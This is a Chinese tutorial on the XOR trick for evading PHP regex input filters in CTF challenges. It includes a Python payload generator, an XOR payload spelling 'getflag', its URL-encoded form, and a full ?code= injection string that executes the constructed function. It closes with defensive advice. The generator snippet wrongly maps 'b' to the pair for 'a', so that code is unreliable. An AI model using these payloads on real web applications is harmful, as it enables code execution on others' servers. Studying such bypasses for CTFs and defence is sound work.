PHP正则表达式绕过姿势之异或绕过
字数 888 2025-08-07 08:22:00

PHP正则表达式绕过姿势之异或绕过技术详解

一、技术背景

在PHP安全挑战和CTF比赛中,经常会遇到需要绕过正则表达式过滤的情况。当字母、数字以及特定符号(如+/等)被过滤时,异或绕过(XOR Bypass)成为一种有效的解决方案。

二、技术原理

1. 异或运算基础

  • PHP中的^是异或运算符,对二进制值进行操作
  • 字符异或实际上是使用其ASCII值进行运算
  • 异或运算规则:0^0=0, 0^1=1, 1^0=1, 1^1=0

2. 字符构造原理

通过两个特殊字符的异或运算可以生成所需的字母或数字字符。例如:

  • ("!"^"@") 生成字母 'a'
  • ("%"^"@") 生成字母 'e'

三、实现步骤

1. 构造异或payload

编写脚本将目标字符串转换为异或构造形式:

word = input("Input word:")
payload = """"""
for i in word:
    if i == "a":
        payload += '("!"^"@").'
    elif i == "b":
        payload += '("!"^"@").'
    # 其他字符的异或构造...
    else:
        payload += i
print("payload:\n"+payload)

2. 示例构造

构造字符串"getflag"的payload:

("'"^"@").("%"^"@").("/"^"[").("&"^"@").(","^"@").("!"^"@").("'"^"@")

3. URL编码处理

对生成的payload进行URL编码,确保特殊字符能正确传输:

%22%27%22%5E%22%40%22%29.%28%22%25%22%5E%22%40%22%29.%28%22%2F%22%5E%22%5B%22%29.%28%22%26%22%5E%22%40%22%29.%28%22%2C%22%5E%22%40%22%29.%28%22%21%22%5E%22%40%22%29.%28%22%27%22%5E%22%40%22

4. PHP变量赋值与执行

由于正则表达式通常过滤字母和数字,但允许下划线:

$_=(异或payload); $_();

完整示例:

?code=$_=(%22'%22%5E%22%40%22).(%22%25%22%5E%22%40%22).(%22%2F%22%5E%22%5B%22).(%22%26%22%5E%22%40%22).(%22%2C%22%5E%22%40%22).(%22!%22%5E%22%40%22).(%22'%22%5E%22%40%22);$_();

四、关键注意事项

  1. 变量命名限制

    • 必须至少有一个可用字符(如下划线_)作为变量名
    • 如果下划线也被过滤,此方法将失效
  2. PHP语法要求

    • 每个字符异或操作用()包含
    • 异或操作之间用.连接
  3. 字符编码

    • 特殊字符需要进行URL编码
    • 确保浏览器能正确解析传输的payload

五、适用场景

  1. 当正则表达式过滤了大多数字母和数字时
  2. 需要动态构造函数名或字符串时
  3. 其他绕过方法(如十六进制、八进制表示)也被过滤时

六、局限性

  1. 当下划线_被过滤时无法使用
  2. 构造复杂字符串时payload会变得冗长
  3. 对特殊字符的过滤可能影响异或构造

七、防御措施

为防止此类绕过,开发者应:

  1. 同时过滤下划线字符
  2. 限制输入长度
  3. 使用白名单而非黑名单过滤
  4. 结合多种过滤机制

八、扩展应用

此技术不仅可用于函数名构造,还可用于:

  1. 动态创建变量名
  2. 绕过关键字过滤
  3. 构造特定字符串参数

通过掌握异或绕过技术,可以在CTF比赛和渗透测试中有效应对严格的字符过滤限制。

PHP正则表达式绕过姿势之异或绕过技术详解 一、技术背景 在PHP安全挑战和CTF比赛中,经常会遇到需要绕过正则表达式过滤的情况。当字母、数字以及特定符号(如+/等)被过滤时,异或绕过(XOR Bypass)成为一种有效的解决方案。 二、技术原理 1. 异或运算基础 PHP中的 ^ 是异或运算符,对二进制值进行操作 字符异或实际上是使用其ASCII值进行运算 异或运算规则: 0^0=0 , 0^1=1 , 1^0=1 , 1^1=0 2. 字符构造原理 通过两个特殊字符的异或运算可以生成所需的字母或数字字符。例如: ("!"^"@") 生成字母 'a' ("%"^"@") 生成字母 'e' 三、实现步骤 1. 构造异或payload 编写脚本将目标字符串转换为异或构造形式: 2. 示例构造 构造字符串"getflag"的payload: 3. URL编码处理 对生成的payload进行URL编码,确保特殊字符能正确传输: 4. PHP变量赋值与执行 由于正则表达式通常过滤字母和数字,但允许下划线: 完整示例: 四、关键注意事项 变量命名限制 : 必须至少有一个可用字符(如下划线 _ )作为变量名 如果下划线也被过滤,此方法将失效 PHP语法要求 : 每个字符异或操作用 () 包含 异或操作之间用 . 连接 字符编码 : 特殊字符需要进行URL编码 确保浏览器能正确解析传输的payload 五、适用场景 当正则表达式过滤了大多数字母和数字时 需要动态构造函数名或字符串时 其他绕过方法(如十六进制、八进制表示)也被过滤时 六、局限性 当下划线 _ 被过滤时无法使用 构造复杂字符串时payload会变得冗长 对特殊字符的过滤可能影响异或构造 七、防御措施 为防止此类绕过,开发者应: 同时过滤下划线字符 限制输入长度 使用白名单而非黑名单过滤 结合多种过滤机制 八、扩展应用 此技术不仅可用于函数名构造,还可用于: 动态创建变量名 绕过关键字过滤 构造特定字符串参数 通过掌握异或绕过技术,可以在CTF比赛和渗透测试中有效应对严格的字符过滤限制。